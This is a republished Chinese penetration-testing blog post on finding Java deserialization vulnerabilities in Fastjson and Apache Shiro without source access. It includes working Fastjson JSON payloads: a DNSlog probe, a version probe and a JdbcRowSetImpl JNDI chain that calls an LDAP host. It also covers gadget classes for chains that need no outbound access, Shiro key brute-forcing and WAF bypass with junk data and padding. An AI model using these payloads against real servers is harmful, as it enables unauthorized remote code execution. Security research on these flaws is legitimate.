实战中Java反序列化漏洞黑盒挖掘思路

admin 2026-02-02 00:36:06 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分享Java反序列化黑盒挖掘实战,重点讲解Fastjson与Shiro。针对Fastjson,详述组件识别、版本探测及不出网利用;针对Shiro,提供密钥爆破及脏数据、大文件填充绕过WAF技巧。同时介绍有密钥无链时的CB链检测及JRMP二次反序列化绕过方案,实战性强。 综合评分: 90 文章分类: 渗透测试,红队,WEB安全,漏洞分析


cover_image

实战中Java反序列化漏洞黑盒挖掘思路

听风安全

2025年10月10日 10:37 北京

以下文章来源于有恒安全 ,作者有恒

有恒安全 .

安全技术知识分享

免责声明

由于传播、利用本公众号听风安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号听风安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

公众号现在只对常读和星标的公众号才展示大图推送,

建议大家把听风安全设为星标,否则可能就看不到啦!


java反序列化分为原生反序列化和组件反序列化,组件反序列化有大家熟知的fastjson反序列化,shiro反序列化漏洞等,这篇文章分享一下自己的反序列化漏洞黑盒挖掘思路。

以在实战中挖到的反序列化漏洞举例,网站中反序列化漏洞数量大概为:fastjson>shiro>=jdbc>XStream>原生反序列化

一、fastjson反序列化漏洞

1.1判断链子

fastjson反序列化漏洞主要看数据包是否以json传输,如果是json传输,就可以尝试打一下payload。

可以先删除请求数据包的 } ,查看报错,报错如果是这样的,基本就可以判断使用了fastjson组件

直接盲打可以打这个payload,如果存在fastjson1.2.24-1.2.83,就会收到dnslog请求

{"zero":{"@type":"java.net.Inet4Address","val":"xxx"}}

判断fastjson版本

{"@type":"java.lang.AutoCloseable"a["test":1]

如果版本在1.2.47以下,出网,可以打这条通杀链子

{"v47":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0","autoCommit":true}}

如果服务器不出网,无法收到dnslog请求,可以直接跑@type的类,查看报错回显长度判断是否使用了fastjson,在之前写的文章也有提及

如果存在这几个类,可以直接打不出网利用链

com.mchange.v2.c3p0.WrapperConnectionPoolDataSourceorg.apache.tomcat.dbcp.dbcp.BasicDataSourceorg.apache.tomcat.dbcp.dbcp2.BasicDataSourceorg.apache.ibatis.datasource.unpooled.UnpooledDataSource

这些链子可以用Java Chains工具生成。c3p0二次反序列化链,因为是fastjson反序列化漏洞,那就肯定会有fastjson链。

c3p0二次反序列化链:

二、shiro反序列化漏洞

2.1waf绕过:

请求数据包中存在Cookie: rememberMe就可以尝试爆破一下密钥

如果遇到waf,可以尝试在remember添加脏数据绕过

在remember插入@$`_-等符号,不影响链子使用

我写了一个脚本给remember添加脏数据绕过waf爆破密钥

https://pan.baidu.com/s/1IqJdYSJpi1lpJxyeRFgkEw?pwd=y7wd 提取码: y7wd

也可以把数据包改成post,添加脏数据绕过,例如我这里添加了test参数,塞入4mb脏数据

2.2有key无链:

遇到有key无链的情况,一般来说shiro基本会有cb链的,因为shiro组件默认就会导入cb链的依赖,如果代码存在一些过滤,可以尝试打其他链子。

也可以用刚才的Java Chains工具,请求dnslog就可以判断有什么链子。之前写的文章也有提及。

不出网可以通过延时来判断是否存在这条链子

有key无链也可以尝试JRMP二次反序列化链。如果过滤器只是简单地检查序列化数据里有没有“java.lang.Runtime”或“ProcessBuilder”这种危险类名,那么JRMP二次反序列化就能绕过。(这里的复现图以原生反序列化举例)

不可错过的往期推荐哦

![](https://mmbiz.qpic.cn/mmbiz_gif/AFgdiaw95AaNY572lpficoa3l1cVE17VfZ4WDWhcMYWJbibW3UvQP4H2Izrsic6ZSlqnw3DtMzjzJHvuhGJ2V6CF2A/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&retryload=1&randomid=tfibc7o0&tp=webp#imgIndex=24)

[话题]聊一聊如何更优雅的实现自动化加解密?

一次对某涩涩APP的分析之旅

层层防护下的突破之道:帆软漏洞利用深度解析

开发者别大意!Node.js 未授权安全漏洞,你的服务器可能正在被攻击者远程操控。

实战案例三则分享(含人脸绕过)

利用解析差异复活某凌OA前台RCE

攻防演练中如何快速抢分

敏感行业下的Fastjson打点实战:攻破加固N次的“古董级”系统

记一次对某涩涩APP的逆向过程

点击下方名片,关注我们

觉得内容不错,就点下“”和“在看

如果不想错过新的内容推送可以设为星标


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:听风安全 《实战中Java反序列化漏洞黑盒挖掘思路》

评论:0   参与:  0